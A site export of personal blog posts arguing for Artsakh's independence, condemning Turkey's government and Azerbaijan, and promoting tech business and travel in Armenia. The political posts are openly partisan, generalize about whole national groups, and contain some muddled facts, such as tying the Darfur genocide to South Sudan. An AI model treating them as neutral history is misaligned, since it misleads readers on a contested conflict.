Article 2 of the United Nations Charter) is inferior to Articles 51 and 73, that prioritize the right for self-defence and the interests of the inhabitants of these territories! Those articles have already been exercised in international law. Most famously, in South Sudan, which in 2011 became the latest country to receive widespread recognition as an independent state. Before that, they went through the Darfuri Genocide and in 2010, the CIA issued a warning that \u0026ldquo;over the next five years,\u0026hellip;a new mass killing or genocide is most likely to occur in southern Sudan.\u0026rdquo; Similarly, Artsakh\u0026rsquo;s independence must be recognized to prevent bloodshed!\nThe Claims The Armenian Viewpoint Armenians lived in NK since 4th century BC. In 1926: 89% of the population was Armenian. In 1989: 77% of the population was Armenian. Subsequently: Language is Armenian and not Azeri. Religion is Christianity and not Islam. All modern infrastructure was constructed by Armenians. The Azeri Viewpoint NK is enclaved into Azerbaijan, which didn\u0026rsquo;t recognize the referendum and it\u0026rsquo;s results. De-juro, most legal entities still consider NK part of Azerbaijan.\nTheir historical claims are somewhat weaker. The first mention of any Turkic tribes north of the Iranian Plateau dates back to 11th century AD. Meaning, 15 centuries after Armenians. The relation between those tribes and modern Azeris is still debatable.\nFor the sake of completeness, some claim, that Azeris are relatives of ancient Caucasian Albania. That\u0026rsquo;s a common topic in Azerbaijani revisionist theories, which came under criticism in Western and Russian academic and analytical circles, and were often characterized as \u0026ldquo;bizarre\u0026rdquo; and \u0026ldquo;futile\u0026rdquo;.\nThe Massacres So the Azeri viewpoint is essentially reducible to a simple statement: the Armenians \u0026ldquo;occupy\u0026rdquo; the territory where they have always lived. Irony aside, there is something else I haven\u0026rsquo;t mentioned. Something far more important than history or borders. The human lives!\nThe Indisputable Argument Below is a sample of ethnic clashes limited to the territory of Azerbaijan in chronological order. Before joining USSR:\nYear Event Deaths Offenders Targets 1918 Shamkhor Massacre 1000 Azeris Russians 1918 March Days 12,000-20,000 Russians \u0026amp; Armenians Muslims 1918 September Days 10,000-30,000 Azeris \u0026amp; Turks Armenians 1919 Khaibalikend Massacre 600-700 Azeris \u0026amp; Kurds Armenians 1920 Shusha Massacres 20,000 Azeris Armenians 1920 Ganja Revolt 1,000 Russians Azeris In the 2nd half of the century:\nYear Event Deaths Offenders Targets 1988 Sumgait Pogrom 30-200 Azeris Armenians 1988 Stepanakert Pogrom 1 Armenians Azeris 1988 Kirovabad Pogrom 7-130 Azeris Armenians 1990 Baku Pogrom 48-90 Azeris Armenians A friendly reminder. It\u0026rsquo;s only a sample, the full list is much longer. Furthermore, it excludes the numerous Armenian massacres, conducted in other parts of Anatolia.\nEven within the borders of Azerbaijan, this quid pro quo continues for centuries, and every nation contributed to it! Some were much more violent than the others, but today, pointing fingers and accusing each other isn\u0026rsquo;t constructive!\nWhat is genuinely undeniable - is that Azerbaijan as a state is incapable of preventing ethnic clashes on its territory! The moment NK joins Azerbaijan the fundamental human right for personal safety will be violated, and nothing can compensate that! The civilian population of NK will suffer from hands of radical nationalists in the government and broader community of Azerbaijan. I am not exaggerating. Here is how World Chess Champion Garry Kasparov remembers the Baku Pogroms:\nNo one would halt the Armenian pogroms in Baku, although there were 11 thousand soldiers of internal troops in the city. No one would intervene until the ethnic cleansing was carried out. The pogroms were happening not in a random place but in the huge capital city with blocks of flats. In such a megapolis as Baku the crowd simply cannot carry out targeted operations like that. When the pogrom-makers go purposefully from one district to another, from one apartment to another this means that they had been given the addresses and that they had a coordinator.\nThe Aftertaste The above events happened decades ago. We often say we are more civilized than our parents. We say we won\u0026rsquo;t repeat their mistakes. We say that the crimes of the past remain in the past. To my deepest regret, it\u0026rsquo;s not always the case. Decades of propaganda have turned otherwise adequate Azeris into nationalists. Here is a story you may remember if you are a tiny bit older than me. Sadly, it\u0026rsquo;s very illustrative.\nYear Place Event 2004 Budapest, 🇭🇺 NATO-sponsored Partnership for Peace training for military personnel starts in the heart of Europe. Soldiers from many countries arrive to study together. 2004 Budapest, 🇭🇺 Ramil Safarov 🇦🇿 breaks into Margaryan\u0026rsquo;s 🇦🇲 dormitory room at night and axes Margaryan to death while he was asleep. 2004 Baku, 🇦🇿 Elmira Süleymanova, the human rights commissioner (ombudsman) of Azerbaijan, declares that Safarov\u0026rsquo;s punishment was far too harsh and that: \u0026ldquo;Safarov must become an example of patriotism for the Azerbaijani youth\u0026rdquo;. 2006 Budapest, 🇭🇺 Safarov was convicted of first-degree murder and sentenced to life imprisonment in Hungary with a minimum incarceration period of 30 years. 2012 Baku, 🇦🇿 Safarov was extradited to Baku, where he was greeted as a hero, pardoned by President Ilham Aliyev, promoted to the rank of \u0026ldquo;Major\u0026rdquo; and given an apartment and over eight years of back pay. If one story isn\u0026rsquo;t enough, here is a quote from a much wider study – \u0026ldquo;Nation and history in Azerbaijani school textbooks\u0026rdquo; by Yasemin Kilit Aklar, dated 2005.\nAzerbaijani official textbooks misuse history to encourage hatred and feelings of ethnic and national superiority. The Armenians are presented as historical enemies and derided in very strong language. [The fifth grade history textbook by] Ata Yurdu stimulates direct hostility to Armenians and Russians. Even if the efforts to establish peace in Nagorno-Karabagh are successful, how can it be expected to survive? How can a new generation live with Armenians in peaceful coexistence after being inculcated with such prejudices? As of now, the civic nationalism that Azerbaijani officials speak of appears to be a distant myth or a mere rhetorical device.\nSo what do we see? Artsakh is historically, culturally and demographically tied to Armenia. By far, the most likely outcome of NK joining Azerbaijan - is ethnic cleansing. As they say in chess: \u0026ldquo;If it\u0026rsquo;s the only move, it\u0026rsquo;s the right one\u0026rdquo;! Artsakh must receive full sovereignty and decide its own future!\nMore Links I have found an article by BBC about mobilization in Azerbaijan dated 3 days prior to the war! I have found an article by ILiveMap about Turkish involvement dated a full month prior to the war! This article was visualized on YouTube. ","permalink":"https://ashvardanian.com/posts/artsakh/","summary":"\u003cp\u003eA full-scale war started between Armenia, Azerbaijan and Turkey on September 27th, 2020.\nThe disputed region of Artsakh or \u0026ldquo;Nagorno-Karabakh\u0026rdquo; hasn\u0026rsquo;t seen such escalation in over two decades.\nIt is an ethnic conflict, that has a religious taste and an almost perpetual political engine keeping it up.\nIt started as an attempt to redistribute power between different nations of the region, but today is used by local dictators to create an illusion of an external enemy.\nHowever, this article is not about the motives.\u003c/p\u003e","title":"Artsakh Must Be Independent 🗺️"},{"content":"While the world is too busy fighting COVID, reassembling the economy and preparing for the most turbulent elections in a century, one man certainly had been using that volatility to push his agenda further. As they say, never underestimate the man with the plan. And Tayyip Erdogan certainly has one. A plan that we must all counteract!\nDisclaimers. The Middle East is one of the most disputed regions in the world. It\u0026rsquo;s the cradle of our civilization and ethnic clashes trace back not decades, not years, but millennia. Given my incompetence in the subject and your limited attention span, we will oversimplify - enough to make a point. I hope - without major factual mistakes. Some of the narratives reference the events of early 20th and late 19th century, and they are crucial if we want to understand how impunity affected the evolution of the political climate. I will be using the word \u0026ldquo;Turkey\u0026rdquo; and \u0026ldquo;Turkish Government\u0026rdquo; interchangeably. If you are from Turkey and do not align with the national agenda - please, don\u0026rsquo;t be offended.\nErdogan\u0026rsquo;s rise to power began in 1994 when he became the Mayor of Istanbul. His radical views never were a secret. Back in 1998, he was even sentenced for 10 months for Islamist rhetoric. In isolation, he realized, that Turkey must adopt the Western model - build a secular society and respect the religious freedoms. He promised a free society, but today Turkey ranks #159 globally for freedom of the press. Reforms take time and patience. Nationalism and imperialism do not. They are easy to sell to uneducated masses, so Erdogan jumped boats. The exact turning point is unclear, but the 2016 coup d\u0026rsquo;état probably marks the point of no return. Erdogan\u0026rsquo;s example is well studied, but the whole history of upper echelons of power in Turkey is full of opportunism, manipulation and crimes against humanity across Europe, Asia and Northern Africa. I will try to illustrate it with seven short stories.\nThe 7 Stories Partnership: 🇬🇷 🇨🇾 🚢 Loyalty: 🇷🇺 🛩️ Responsibility: 🇦🇲 🇬🇷 🔫 Tricks: ↩️ Impunity: 🇸🇾, 🇱🇾, 🇦🇲 Ambitions: {🇹🇷, 🇦🇿, 🇺🇿, \u0026hellip;} Priorities: 💣 \u0026amp; 📉 The Future Current Sanctions More Links The 7 Stories Partnership: 🇬🇷 🇨🇾 🚢 Turkey knows no partnership and opposes other NATO members.\nLet\u0026rsquo;s take Greece. In 1952 they simultaneously joined NATO. 22 years later, Turkey invades Cyprus. According to the 1960 census, the population of the island was 77% Greek and only 18% Turkish. In 2020 the island is still divided between 2 nations with UK and UN controlling the buffer zone.\nMoving closer to now, Turkey invaded the Exclusive Economic Zone of Cyprus, which led to a confrontation with Greek naval forces. Some time ago, gas was found under the East Mediterranean. Most beneficiaries started peacefully negotiating plans of extraction. Turkey, on the other hand, not only targeted the 200 nmi region around occupied Northern Cyprus but also entered the EEZ of the Republic of Cyprus and threatened Greece with war.\nLoyalty: 🇷🇺 🛩️ Turkey knows no loyalty. It buys military equipment from Russia - the main antagonist of NATO.\nIn 2017, Ankara brokered a deal reportedly worth $2.5 billion with the Kremlin for the S-400 defence missile systems despite warnings from the US that buying the system would come with political and economic consequences. Since August 2019 Erdogan publicly expressed interest in purchasing the SU-35 and SU-57 fighter jets.\nResponsibility: 🇦🇲 🇬🇷 🔫 Turkey doesn\u0026rsquo;t take responsibility for its crimes against humanity.\nThe examples are countless, but the most famous ones are the Hamidian massacres of 1894-1896, the Armenian Genocide, the Assyrian Genocide and the Greek Genocide of 1914-1923. About 1'500'000 Armenians were killed in those ethnic cleansing campaigns. A much longer list of Turkic anti-Armenian massacres is available on a designated Wikipedia page. Turkey never paid reparations and hasn\u0026rsquo;t changed the attitude against the ancient nations, which co-existed in Anatolia for millennia before Osman I was born (in the 13th century in Central Asia). Until today, Turkey hasn\u0026rsquo;t admitted the Genocide, hasn\u0026rsquo;t established diplomatic relations and closed the land border with Armenia blocking economic activity.\nNota Bene: Some photo-albums were preserved by various museums, but I discourage people with heart or sleep problems from viewing them! Armenian Genocide Museum. Album of refugees, 1915-1916. Near East Relief Society. Library of Congress.\nAfter the WW2 Germany was obliged to compensate the victims of the Holocaust. Until 2005 about 63 billion euros have been paid to individuals. Today, I can honestly say that Germans are some of the most amazing people I know and one of my favorite nations. They admitted the wrong-doings of their ancestors and have built a civilized society on the ruins of the previous regime. Turkey should take a page from the German book.\nTricks: ↩️ Turkey dodges and tricks states to its benfit.\nAfter WW1 under the Treaty of Sevres, they lost lands and were forced to disarm. Later, in 1921, Mustafa Kemal Ataturk promised Lenin to join USSR, who gave up the Armenian lands and tons of Russian military equipment in exchange. Turkey never joined USSR and immediately used Russain ammunition against Greece in 1921–1922.\nDuring WW2, Turkey continued to sell crucial resources to Nazi Germany until April 1944. They declared their alliance only in August 1944, when the result of WW2 was obvious. No Turkish troops ever saw combat. No sanctions were imposed.\nImpunity: 🇸🇾, 🇱🇾, 🇦🇲 Even today, every aspect of Turkish foreign policy is full of controversy, to put it delicately.\nIn 2011 a Civil War broke out in Syria. Given it\u0026rsquo;s physical proximity to Turkey, their involvement was only a question of time. In August 2016 Turkey announced, that it will be fighting the ISIL, but even if their ambitions were noble, their actions were horrific. In 2019 Amnesty International prepared a report with a self-explanatory title: \u0026ldquo;Damning evidence of war crimes by Turkish forces and allies in Syria\u0026rdquo;. That report mainly focuses on civilian casualties, while the UN High Commissioner for Human Rights (OHCHR) report from 2018 suggests that Erdogan wants to effectively \u0026ldquo;Arabize\u0026rdquo; the region east of the Euphrates inhabited mostly by Kurds, Turkmen and Yazidis.\nThe same year, during the Arab Spring, another Civil War broke out in Libya. Muammar Gaddafi was killed, competing militias partly legitimized themselves within the Ministry of Defense, but failed to stabilize the country. Just like Syria, Libya is a warzone until today. Turkeys involvement in this conflict is more recent. In late 2019 - early 2020 they have sent mercenaries to support the Government of National Accord in Libya. The intel suggests, that demographic composition of the fighters are mostly Syrian Turkmen and not Turkish. Furthermore, the Syrian Observatory for Human Rights claimed that at least 50 Syrian soldiers were identified as former ISIS members. Adding fuel to the fire pun intended, the only tangible consequence is the signing of Libya–Turkey maritime deal extending Turkeys economic privileges in the Mediterranean shelf. To sum up, Turkey shuffles Syrian refuges with a few ISIS members and uses them as cannon fodder to expand its economic footprint.\nNagorno-Karabakh became the latest adventure of Turkey. They were the first external force to join militarily and declared full support to the attacking Azeri side. After the first 3 days of the war, it\u0026rsquo;s clear, that co-orchestrated the attack with the Azeri dictatorial regime. Multiple globally trusted sources (including Reuters, The Guardian and The Times) printed that Turkey recruited \u0026amp; transported 2,000-4,000 Syrian jihadists to fight against the Christian population of Artsakh. The first day of the war started by them shelling the civilian population in the capital city of Stepanakert.\nAmbitions: {🇹🇷, 🇦🇿, 🇺🇿, \u0026hellip;} Erdogan famously wants to unite pan-Turkic nations into the neo-Ottoman empire.\nAccording to the National Pact, Turkey already claimed territories stretching from Eastern Thrace (now part of Greece) to Cyprus, the eastern Aegean islands, parts of northern Syria, northern Iraq, the entirety of modern Armenia, parts of Georgia, and even to Iran. Given Erdogans track record in Syria and that Turkey has 400,000 soldiers (only second to US in NATO) - potential clash with Iran will be a bloodbath.\nThe Turkic populations include Uzbekistan (25M), Kazahstan (12M), Azerbaijan (10M), Turkemnistan (4M), Kyrgyzstan (4M) and Afghanistan (3M). Those countries are poor and may benefit from the union in the short term, but not in the long one. Erdogans views are rapidly shifting towards Wahabism. If he succeeds, secularism and financial prosperity in Central Asia will become a myth.\nGeographically, Armenia is the only country on his way. Luckily, politically, it goes against the interests of every major power in the world: Russia, USA, China, Iran and even Saudi Arabia, which by contrast became less radical over the years.\nPriorities: 💣 \u0026amp; 📉 What else Erdogan does besides dreaming? Here are a few facts:\nOn August 22, 2020, President Erdogan was hosting two people, classified by the EU and US as terrorists. That was the second meeting of that kind in 2020 with the first meeting occurring February 1st.\nBetween those 2 meetings in February and August, he conducted only 5 trips to Ukraine, Pakistan, Azerbaijan, Russia and Belgium.\nBetween 2010 and 2020, the Turkish Lira (TRY) lost 80% of its value against USD. That\u0026rsquo;s a straightforward numerical indication of how much poorer the people of Turkey have become.\nSo the economy is plunging and the international relations are falling apart while Erdogan prioritizes his illusional imperialistic ambitions over the public good. He\u0026rsquo;s not just a problem for the outside world, but also his electorate. The current Turkish government will only bring chaos to the Middle East and misery to its citizens.\nThe Future Now, Turkey used Azerbaijan to reignite the war against Armenians, and both aggressors should be strictly sanctioned. The romantic and maybe childish part of me believes that the borders between all involved conflicting parties must be open for trade. We must replace dictators with civilized institutions and establish mutually-dependant economic unions. Only that will make conflicts between our hot-blooded nations financially infeasible!\nCurrent Sanctions Jul 2019. The US removed Turkey from the F-35 joint strike fighter program. Jul 2020. Saudi Arabia boycotted Turkish imports. Sep 2020. France sides with Armenia over NK and with Greece over East Med. Sep 2020. The US starts moving airbase from Turkey to Greece. More Links I wrote a separate article about the Artsakh (Nagorno-Karabakh) conflict. I have found an article by BBC about mobilization in Azerbaijan dated 3 days prior to the war! I have found an article by ILiveMap about Turkish involvement dated a full month prior to the war! This article was visualized on YouTube. ","permalink":"https://ashvardanian.com/posts/turkey/","summary":"\u003cp\u003eWhile the world is too busy fighting COVID, reassembling the economy and preparing for the most turbulent elections in a century, one man certainly had been using that volatility to push his agenda further.\nAs they say, never underestimate the man with the plan.\nAnd Tayyip Erdogan certainly has one.\nA plan that we must all counteract!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDisclaimers.\nThe Middle East is one of the most disputed regions in the world.\nIt\u0026rsquo;s the cradle of our civilization and ethnic clashes trace back not decades, not years, but millennia.\nGiven \u003cstrong\u003emy incompetence\u003c/strong\u003e in the subject and your limited attention span, we will oversimplify - enough to make a point.\nI hope - without major factual mistakes.\nSome of the narratives reference the events of early 20th and late 19th century, and they are crucial if we want to understand how impunity affected the evolution of the political climate.\nI will be using the word \u0026ldquo;Turkey\u0026rdquo; and \u0026ldquo;Turkish Government\u0026rdquo; interchangeably.\nIf you are from Turkey and do not align with the national agenda - please, don\u0026rsquo;t be offended.\u003c/p\u003e","title":"The 7 Sins of Turkish Autocracy 🇹🇷"},{"content":"On September 27, 2020, Azerbaijan attacked civilian populations of Armenia and Artsakh. Recep Erdoğan of Turkey reacted by calling \u0026ldquo;Armenia the biggest threat to peace in the region\u0026rdquo;. Please, look at the numbers below and decide for yourself.\nArmenia Azerbaijan Turkey Population 3 Million 10 Million 82 Million Leader Nikol Pashinyan since 2018 Ilham Aliyev since 2003 (after father) Recep Erdoğan since 2003 GDP 12 Billion $ 47 Billion $ 771 Billion $ Military Budget 0.6 Billion $ 1.7 Billion $ 18 Billion $ Religion 94% ✝️ 97% ☪️, 3% ✝️ 98% ☪️ Global Education Rank # 60 # 64 # 92 Press Freedom Index # 61 # 168 # 154 General Freedoms 53% 10% 32% Armenia looks friendlier in every single aspect. The lack of support for Armenia is increasingly disappointing. A century ago, the Ottoman Empire committed the genocide of Armenian, Greek and other Christian minorities in Anatolia. Until now, many countries haven\u0026rsquo;t recognized those war crimes, even though it\u0026rsquo;s an absolute historical fact.\nBy now, Turks have occupied Northern Cyprus, expanded their naval presence in the Mediterranean and attacked civilian populations in Artsakh. The only reason Artsakh even wants independence from Azerbaijan - is to avoid ethnic persecution, like in the 1990s. What\u0026rsquo;s the point of UN, NATO and other peacekeeping organizations if they can\u0026rsquo;t even publicly express support for the apparent victims?\nI deliberately avoided this topic in 2020. It was a challenging year for many of us, but today\u0026rsquo;s retaliation by Azeris didn\u0026rsquo;t leave me a choice. I am in Yerevan, Armenia, myself. I don\u0026rsquo;t plan to leave, but don\u0026rsquo;t want to join the army either. I am proud to have intelligent Azeri friends who have nothing to do with Aliyev\u0026rsquo;s political agenda, let\u0026rsquo;s help others see the full picture.\n","permalink":"https://ashvardanian.com/posts/aggressor/","summary":"\u003cp\u003eOn September 27, 2020, Azerbaijan attacked civilian populations of Armenia and \u003ca href=\"https://en.wikipedia.org/wiki/Republic_of_Artsakh\"\u003eArtsakh\u003c/a\u003e.\nRecep Erdoğan of Turkey reacted by calling \u0026ldquo;\u003ca href=\"https://www.aa.com.tr/en/turkey/erdogan-says-armenia-biggest-threat-to-regional-peace/1987364\"\u003eArmenia the biggest threat to peace in the region\u003c/a\u003e\u0026rdquo;.\nPlease, look at the numbers below and decide for yourself.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: left\"\u003e\u003c/th\u003e\n          \u003cth\u003eArmenia\u003c/th\u003e\n          \u003cth\u003eAzerbaijan\u003c/th\u003e\n          \u003cth\u003eTurkey\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003ePopulation\u003c/td\u003e\n          \u003ctd\u003e3 Million\u003c/td\u003e\n          \u003ctd\u003e10 Million\u003c/td\u003e\n          \u003ctd\u003e82 Million\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eLeader\u003c/td\u003e\n          \u003ctd\u003eNikol Pashinyan since 2018\u003c/td\u003e\n          \u003ctd\u003eIlham Aliyev since 2003 (after father)\u003c/td\u003e\n          \u003ctd\u003eRecep Erdoğan since 2003\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eGDP\u003c/td\u003e\n          \u003ctd\u003e12 Billion $\u003c/td\u003e\n          \u003ctd\u003e47 Billion $\u003c/td\u003e\n          \u003ctd\u003e771 Billion $\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eMilitary Budget\u003c/td\u003e\n          \u003ctd\u003e0.6 Billion $\u003c/td\u003e\n          \u003ctd\u003e1.7 Billion $\u003c/td\u003e\n          \u003ctd\u003e18 Billion $\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eReligion\u003c/td\u003e\n          \u003ctd\u003e94% ✝️\u003c/td\u003e\n          \u003ctd\u003e97% ☪️, 3% ✝️\u003c/td\u003e\n          \u003ctd\u003e98% ☪️\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Education_Index\"\u003eGlobal Education Rank\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e# 60\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n          \u003ctd\u003e# 64\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e# 92\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ca href=\"https://rsf.org/en/ranking\"\u003ePress Freedom Index\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e# 61\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e# 168\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e# 154\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Freedom_in_the_World\"\u003eGeneral Freedoms\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e53%\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e10%\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c!-- raw HTML omitted --\u003e32%\u003c!-- raw HTML omitted --\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eArmenia looks friendlier in every single aspect.\nThe lack of support for Armenia is increasingly disappointing.\nA century ago, the Ottoman Empire committed the \u003ca href=\"https://en.wikipedia.org/wiki/Armenian_Genocide\"\u003egenocide of Armenian, Greek and other Christian minorities in Anatolia\u003c/a\u003e.\nUntil now, many countries \u003ca href=\"https://en.wikipedia.org/wiki/Armenian_Genocide_recognition\"\u003ehaven\u0026rsquo;t recognized\u003c/a\u003e those war crimes, even though it\u0026rsquo;s an absolute historical fact.\u003c/p\u003e","title":"Armenia, Azerbaijan, Turkey. Who's the Aggressor? ⚔️"},{"content":"Borders are closed, people are sitting at home, but I bet most of you dream about traveling again. I want to invite you all to my country of origin - Armenia. It has something to offer to every group of people - tourists, entrepreneurs and investors!\nDisclaimer 1. Most small nations love to exaggerate their small accomplishments. We are not an exception. Sadly, native Armenians are the 3rd most chauvinistic people in Europe after Greeks and Georgians! We still have a lot of problems, and that\u0026rsquo;s a topic for a separate article. However, I was born in Russia, I speak Russian and English better than Armenian, and I have lived all around the globe, so this is closer to an outsider look than you might think.\nDisclaimer 2. I try to follow my advice, but I still don\u0026rsquo;t have a legal entity in Armenia and can\u0026rsquo;t physically travel there due to COVID-19. I encourage you to be skeptical and fact-check. I am open to any questions and meaningful comments.\nWhat is Armenia?! If you haven\u0026rsquo;t heard about my country, it\u0026rsquo;s ok. Here is a fact sheet to get you started.\nArmenia is located south of Caucasus mountains.\nIt has a unique ancient language that belongs to the Indo-European family.\nOur capital Yerevan is older than Rome. It\u0026rsquo;s over 2800 years old.\nArmenia was previously called:\nUrartu since 9th century BC. Kilikia since 11th century AD. Armenia was the first country in history to adopt Christianity in the 4th century.\nArmenia has preserved a huge part of its history, including the Garni temple from pre-Christian times.\nWe are tiny.\nArmenia has ~3 mln population. Our neighbors - Turkey and Iran both have 82 mln residents. We are a nation of Nomads.\nUp to 66% of Armenians live abroad.\nMost have left during the Armenian Genocide of the 20th century.\nMy parents left Armenia as teenagers to study in Russia.\nIn Soviet times, we were one of the main hubs of Chemical \u0026amp; Electrical engineering for the entire union of 250+ mln people.\nWe have a surprising number of professional chess players and scientists. Especially, for a 3rd world country.\nWe are geopolitically similar to Israel and Singapore, but unfortunately – land-locked.\nArmenia today ranks 8th globally for ease of starting a business.\nEstonia is 15th. The UK is 19th. Israel is 45th. The USA is 53rd. Doing IT Business in Armenia My last 3 trips to Armenia were in 2012, 2017 and 2019. In 2017 I was preparing to register my own company Unum in Armenia. I have met a few people, talked to locals and left the country after 4 days! That\u0026rsquo;s how disappointed I was. If an Armenian guy doesn\u0026rsquo;t want to do business in Armenia, why would a foreigner do?\nJust 1 year later everything changed. I am talking about the Velvet Revolution of 2018, of course. In some way it is the first truly peaceful transition of power in the CIS since the fall of USSR. Most shockingly, even Armenians who lived abroad - had traveled home just to support the protests on the streets of Yerevan! I couldn\u0026rsquo;t believe my eyes!\nIn 2019 I traveled to Armenia again. This time - for a full month. I was born in a megalopolis with 5 mln population, been to SF, NY, CDMX, BsAs, BK, HK and probably every single famous city you can think of. What could I possibly do in Yerevan for so long?\nWorld Congress on Information Technology 2019.\nGlobal Innovation Forum 2019 by FAST Foundation.\nHIVE 2019 event by Hive Foundation.\nAurora Prize charity Event.\nIn a month Yerevan hosted more interesting international events, than Moscow, which is 15x times bigger! I have met scientists and engineers from around the globe, and we were rediscovering Armenia together! We are just opening up after thousands of years of cultural isolation, so a lot must be polished, but the start is auspicious!\nWhy Tech Specifically? We have a mountainous terrain which makes agriculture difficult. Our natural resources are scarce, so mineral exports can\u0026rsquo;t support the economy. We are land-locked and have troubled relations with neighbors, so trading is limited. By process of elimination, the only things we export are Clean Energy and Information Technologies. Hi-tech professions are very prestigious, and schools emphasize Maths, Physics and Chess as the main subjects.\nWhich Kinds of Tech? I would be lying if I told you that best software developers are Armenians. I think the most undervalued pool of software developers is in Russia. It is massive, yet more skilled than in Belarus and Ukraine (or India, Pakistan and China for that matter). Today, the average salary in China is higher than in Russia! Here is my honest personal view of expertise levels in different sectors of Armenian IT:\nCategory Quality Frontend Software 🧐🧐 Backend Software 😴 Hardware Design 😎😎😎 Computer Science 🤓🤓 Some facts to back it up:\nSynopsys does R\u0026amp;D in Armenia. They design hardware IP for Intel and other big clients. They were one of the first companies to open a campus in Yerevan back in 2004, so big thanks to them! $SNPS market cap is ~ $31 bln. Xilinx also does R\u0026amp;D in Armenia. They sell FPGA cards globally. $XLNX market cap is ~ $26 bln. Digital Pomengranate runs the biggest Flutter Development Hub in Gyumri, Armenia. They build cross-platform mobile apps for businesses all around the globe. Oracle, Cisco, Team Viewer and a few other international brands also have offices in Armenia. Western companies are very cautious and avoid outsourcing research to countries with strong ties to Russia or China. We have both, but yet the benefits outweigh the risks. To sum it up - Armenia is excellent for Hardware Design. Senior backend developers are rare, but we will work on it!\nInvesting in Armenia Regional Contrasts After the revolution - we have become one of the most democratic countries in the region. Our neighbors, on the other hand, have more restrictive regimes, that may not be so appealing to Western Businesses. If you need a physical presence in the Middle East, Armenia is a good entry point. Here are some nearby countries.\nCountry Population Potential Complication for Western Companies Iran 🇮🇷 82 mln Sharia law Turkey 🇹🇷 82 mln Transitioning to Sharia law Iraq 🇮🇶 38 mln Sharia law Syria 🇸🇾 17 mln Didn\u0026rsquo;t recover after the war We have a modern international airport and a growing number of flight directions. Land-borders with Iran and Georgia are also open.\nSimilarities with Israel Armenian and Jewish cultures share troubled past - cultural isolation, genocides and long recovery. Our society \u0026amp; the tech sector are undergoing the same transition Israel had 2–5 decades ago. If you could travel back in time and invest in Israel, would you? I would!\nWell-educated \u0026amp; skilled Armenians from all over the globe are proudly repatriating to their historical homeland to start a business, teach \u0026amp; research new technologies.\nServiceTitan (unicorn) originated in Los Angeles. They do R\u0026amp;D in Yerevan. PicsArt (almost unicorn) originated in Moscow. They do R\u0026amp;D in Yerevan. IntelinAir originated in Urbana-Champaign. They do R\u0026amp;D in Yerevan. Armenian tech sector saw 27%+ consistent annual growth over the last two decades. Local IT outsourcing companies become more independent and start developing their own products. I bet the next Armenian unicorn is right around the corner!\nSimilarities with Georgia If you think the Israeli example is dated, here is a more recent one. Georgia had a not-so-peaceful transition of power about a decade ago. Since then, they have liberated their economy in many ways, and we are doing the same!\nNew taxation policies are much easier to follow. The corruption levels have dropped significantly. Startups receive generous tax incentives: 0% income tax, 10% flat payroll tax. Georgia has a territorial taxation system that we don\u0026rsquo;t have. Their capital looks sweeter than ours. Their food and music are equally good, if not better. That said, I believe Armenia has much stronger tech scene, and that gap will widen in the next years!\nTraveling to Armenia What to do? Dining \u0026amp; wining - the classical benefits of a third-world country! Here are some exotic dishes of Armenian cuisine: TasteAtlas. Try Areni wine from the oldest wineries in the world. They are over 6,000 years old! If you prefer stronger drinks - here is a link to Yerevan Brandy Company. They organize degustation tours 🤪 Visit historical sights. Garni Temple built in the 1st century AD. Tatev Monastery built in the 9th century AD. Khor-Virap Monastery, where Gregory the Illuminator was imprisoned. Art \u0026amp; Culture. I am not a big expert on this one, but here is what I enjoy: Listening to Duduk or Tsiranapogh - our ethnic flute-like musical instrument. Watching traditional ethnic dances or ballet in the main Opera building. Active sports. Here is an entire article about it. Climbing the Aragats mountain (4090 meters). Windsurfing and Jet-Skiing on Lake Sevan. Paragliding and Hot Air Ballooning. Skiing or snowboarding at Tsaghkadzor. Study. Armenia hosts some of the most advanced international elementary and middle schools: UWC Dilijan. TUMO. Ayb School. Unfortunately, the same can\u0026rsquo;t be said about our universities today, but I predict the situation will change in 10 years!\nVisa Requirements We have a bilateral visa-free travel agreement with China.\nRussians don\u0026rsquo;t even need International documents to come. A local Russian ID is enough!\nHere is the full list of eligible countries. Hopefully, visa-free and e-visa agreements with the EU and the USA will come soon.\nSafety People in Armenia are very open and friendly - its safety level is on par with Switzerland! Girls can walk in mini-skirts at night alone without being afraid of creeps. Most people speak either Russian or English (often both), so you can always approach them for help! USA and Russia have gigantic embassies in Yerevan, as some other countries. If you need help from your government officials - it\u0026rsquo;s always available! More Links The Startup Scene 